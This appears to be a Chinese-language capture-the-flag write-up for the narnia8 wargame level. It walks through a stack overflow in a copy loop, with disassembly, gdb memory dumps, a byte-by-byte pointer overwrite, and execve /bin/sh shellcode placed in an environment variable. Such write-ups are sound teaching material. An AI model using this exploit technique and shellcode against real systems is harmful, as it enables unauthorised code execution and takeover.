0x01 分析

narnia8 是一个蛮有意思的题,漏洞点在于 for 的结束判断不严谨,造成任意内存写入。原代码如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// gcc's variable reordering fucked things up
// to keep the level in its old style i am
// making "i" global unti i find a fix
// -morla
int i;

void func(char *b){
    char *blah=b;
    char bok[20];
    //int i=0;

    memset(bok, '\0', sizeof(bok));
    for(i=0; blah[i] != '\0'; i++)
        bok[i]=blah[i];

    printf("%s\n",bok);
}

int main(int argc, char **argv){

    if(argc > 1)
        func(argv[1]);
    else
    printf("%s argument\n", argv[0]);

    return 0;
}

其中:

for(i=0; blah[i] != '\0'; i++)
    bok[i]=blah[i];

判断结束标识是blah[i] != '\0',再看汇编:

  0x0804842d <+0>: push   ebp
  0x0804842e <+1>: mov    ebp,esp
  0x08048430 <+3>: sub    esp,0x38
  0x08048433 <+6>: mov    eax,DWORD PTR [ebp+0x8]
  0x08048436 <+9>: mov    DWORD PTR [ebp-0xc],eax
  0x08048439 <+12>:    mov    DWORD PTR [esp+0x8],0x14
  0x08048441 <+20>:    mov    DWORD PTR [esp+0x4],0x0
  0x08048449 <+28>:    lea    eax,[ebp-0x20]
  0x0804844c <+31>:    mov    DWORD PTR [esp],eax
  0x0804844f <+34>:    call   0x8048320 <memset@plt>
  0x08048454 <+39>:    mov    DWORD PTR ds:0x80497b8,0x0
  0x0804845e <+49>:    jmp    0x8048486 <func+89>
  0x08048460 <+51>:    mov    eax,ds:0x80497b8
  0x08048465 <+56>:    mov    edx,DWORD PTR ds:0x80497b8
  0x0804846b <+62>:    mov    ecx,edx
  0x0804846d <+64>:    mov    edx,DWORD PTR [ebp-0xc]
  0x08048470 <+67>:    add    edx,ecx
  0x08048472 <+69>:    movzx  edx,BYTE PTR [edx]
  0x08048475 <+72>:    mov    BYTE PTR [ebp+eax*1-0x20],dl
  0x08048479 <+76>:    mov    eax,ds:0x80497b8
  0x0804847e <+81>:    add    eax,0x1
  0x08048481 <+84>:    mov    ds:0x80497b8,eax
  0x08048486 <+89>:    mov    eax,ds:0x80497b8
  0x0804848b <+94>:    mov    edx,eax
  0x0804848d <+96>:    mov    eax,DWORD PTR [ebp-0xc]
  0x08048490 <+99>:    add    eax,edx
  0x08048492 <+101>:   movzx  eax,BYTE PTR [eax]
  0x08048495 <+104>:   test   al,al
  0x08048497 <+106>:   jne    0x8048460 <func+51>
  0x08048499 <+108>:   lea    eax,[ebp-0x20]
  0x0804849c <+111>:   mov    DWORD PTR [esp+0x4],eax
  0x080484a0 <+115>:   mov    DWORD PTR [esp],0x8048580
  0x080484a7 <+122>:   call   0x80482f0 <printf@plt>
  0x080484ac <+127>:   leave  
  0x080484ad <+128>:   ret

这里就是判断是否要结束循环:

  0x0804848d <+96>:    mov    eax,DWORD PTR [ebp-0xc]
  0x08048490 <+99>:    add    eax,edx
  0x08048492 <+101>:   movzx  eax,BYTE PTR [eax]
  0x08048495 <+104>:   test   al,al

其中ebp-0xc存放的是blah指针指向的地址:

gdb-peda$ x/w $ebp-0xc
0xffffd4bc: 0xffffd71a

并且ebp-0xc往前 0x14 个字节就是传入的字符串的内容:

gdb-peda$ x/6xw $ebp-0xc-0x14
0xffffd4a8: 0x00000000  0x00000000  0x00000000  0x00000000
0xffffd4b8: 0x00000000  0xffffd71a

如果传入 20 个字符,下面printf的时候就会 leak 出blah指针的内容:

➜  Desktop  ./narnia8 $(python -c "print 'A'*20") | xxd
0000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000010: 4141 4141 42d7 ffff 020a                 AAAAB.....

经过构造可以覆盖掉指针,但是由于每次都会去判断ebp-0xc指向的内容是否为\0,所以不能覆盖成任意地址,而是要精心构造让它继续覆盖下去:

gdb-peda$ x/9wx $esp-0x20
0xffffd4ac: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd4bc: 0xffffd71b  0x00000002  0xffffd584  0xffffd4e8
0xffffd4cc: 0x080484cd
gdb-peda$ p $esp
$1 = (void *) 0xffffd4cc
gdb-peda$ x/wx $esp
0xffffd4cc: 0x080484cd

最终运行到0x80484ad,也就是ret指令的时候,esp 指向的地址为0x80484cd,如果我们能覆盖到0xffffd4cc,那么我们就可以控制 eip,实现任意代码执行。
checksec 的结果是 NX 被 disable 了,所以我们可以直接在栈上执行代码。以至于 shellcode 我们可以写在环境变量里,然后直接 ret 到环境变量上即可。

0x02 利用

首先挑选 shellcode,这里我用:https://www.exploit-db.com/exploits/37251/
把 shellcode 写入环境变量:

➜  Desktop  export Z=$(python -c 'print "\x90" * 400 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc2\xb0\x0b\xcd\x80" + "\x90" * 400')

接着我们先覆盖blah指针,blah指针的第 1 个字节是我们传入的第 21 个字符,我们把它覆盖成blah重新指向传入的字符串开头,即:

AAAAAAAAAAAAAAAAAAAAX
^                   ^
指向此处           blah内容的第一个字节

由于不清楚 X 的具体内容,先传入 21 个 A 来进行覆盖。
覆盖之前:

gdb-peda$ x/10wx $ebp-0xc-0x14
0xffffd4a8: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd4b8: 0x41414141  0xffffd71a  0x00000002  0xffffd584
0xffffd4c8: 0xffffd4e8  0x080484cd

EAX: 0xffffd72e --> 0x44580041

覆盖之后:

gdb-peda$ x/10wx $ebp-0xc-0x14
0xffffd4a8: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd4b8: 0x41414141  0xffffd741  0x00000002  0xffffd584
0xffffd4c8: 0xffffd4e8  0x080484cd

EAX: 0xffffd756 ("Manager/Seat0")

可以发现,传入的0x41变成了0x56,这是因为0x08048490add eax,edx加上了字符串长度的缘故。
要把指针移到字符串开头,就要进行计算。覆盖之前指针指向的地址为0xffffd41a,减去字符串长度得到:0x05,即第 21 个字节传入 0x05。

gdb-peda$ x/10wx $ebp-0xc-0x14
0xffffd4a8: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd4b8: 0x41414141  0xffff4105  0x00000002  0xffffd584
0xffffd4c8: 0xffffd4e8  0x080484cd

第二次覆盖时,因为指针移到字符串开头,所以我们要把字符串第一个字符改为 0xd7,这样blah指针仍保持原样。

\xd7AAAAAAAAAAAAAAAAAAA\x05
^                      ^
第二次覆盖            第一次覆盖

第三次覆盖时,由于字符串长度增加,写入的时候指针指向第二个字符:

gdb-peda$ x/10wx $ebp-0xc-0x14
0xffffd4a8: 0x414141d7  0x41414141  0x41414141  0x41414141
0xffffd4b8: 0x41414141  0xff41d705  0x00000002  0xffffd584
0xffffd4c8: 0xffffd4e8  0x080484cd

所以将第二个字符改为 0xff 即可,同理第四个字符也要改为 0xff。
最终传入字符串:\xd7\xff\xffAAAAAAAAAAAAAAAAA\x05 最终覆盖结果:

我们在内存里搜寻 shellcode 的地址:

gdb-peda$ searchmem 0x9090909090909090909090909090909090 stack
Searching for '0x9090909090909090909090909090909090' in: stack ranges
Found 46 results, display max 46 items:
[stack] : 0xffffdc7e --> 0x90909090 
[stack] : 0xffffdc8f --> 0x90909090 
[stack] : 0xffffdca0 --> 0x90909090 
[stack] : 0xffffdcb1 --> 0x90909090 
[stack] : 0xffffdcc2 --> 0x90909090

跳到0xffffdc7e上,构造字符串:\xd7\xff\xffAAAAAAAAAAAA\x7e\xdc\xff\xffA\x05

最后成功运行/bin/sh

0x03 GG

由于 gdb 会做奇怪的事情,所以实际环境中构造的时候会有一些偏移,所以又要构造很久。然后我用错了 shellcode,所以虚拟机关机了,这告诉我们不要用 root 调试 pwn。
本来打算在实际环境中构造利用的,但是现在想了想还是算了。因为构造十分的麻烦,工作量和上面做的那一堆差不多,而且还是黑盒。运气好改一下偏移就能打出来,运气不好就要重新构造字符串,不过理解了原理也就简单了,就这样吧,GG。